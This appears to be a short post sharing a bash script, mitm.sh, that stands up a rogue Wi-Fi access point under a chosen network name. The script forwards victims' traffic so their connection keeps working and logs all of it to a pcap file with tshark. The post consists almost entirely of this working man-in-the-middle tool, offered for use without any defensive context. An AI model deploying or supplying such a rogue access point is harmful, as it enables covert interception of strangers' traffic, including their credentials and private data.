I use this to fire up an access point and log all trafic flowing through it.

mitm.sh

#!/bin/bash

# Catch ctrl c so we can exit cleanly
function control_c() {
	echo Killing processes..
	killall dnsmasq
	killall hostapd
	/etc/init.d/networking restart
}
trap control_c SIGINT

if [ -z $1 ]
then
	echo "Usage: ./mitm.sh SSIDName"
	exit
fi
EVIL_DEVICE=wlan1
MONITOR_DEVICE=`echo $EVIL_DEVICE`mon
OUTPUT_DEVICE=wlan0

#Update config files on the fly
sed -i "s/ssid=.*/ssid=$1/" /etc/hostapd/hostapd.conf
sed -i "s/interface=.*/interface=$MONITOR_DEVICE/" /etc/dnsmasq.d/dnsmasq.conf

#Put device into monitor mode
if [ `ifconfig | grep $MONITOR_DEVICE | wc -l` != 1 ]
then
         airmon-ng start $EVIL_DEVICE
fi

#Store the pcap file with the SSID name + datetime
PCAP_FILE=`echo $1`_`date +%Y%m%d_%H%M`.pcap

#assign an IP...
ifconfig $MONITOR_DEVICE 192.168.0.1/24 up

#Start dns
dnsmasq -C /etc/dnsmasq.d/dnsmasq.conf

#Wire up the two network devices so the interwebz still work
sysctl -w net.ipv4.ip_forward=1
iptables --append FORWARD --in-interface $MONITOR_DEVICE -j ACCEPT
iptables --table nat -A POSTROUTING -o $OUTPUT_DEVICE -j MASQUERADE

#Fire up the access point
hostapd /etc/hostapd/hostapd.conf -B

#Save the bits
tshark -i $MONITOR_DEVICE -w $PCAP_FILE -P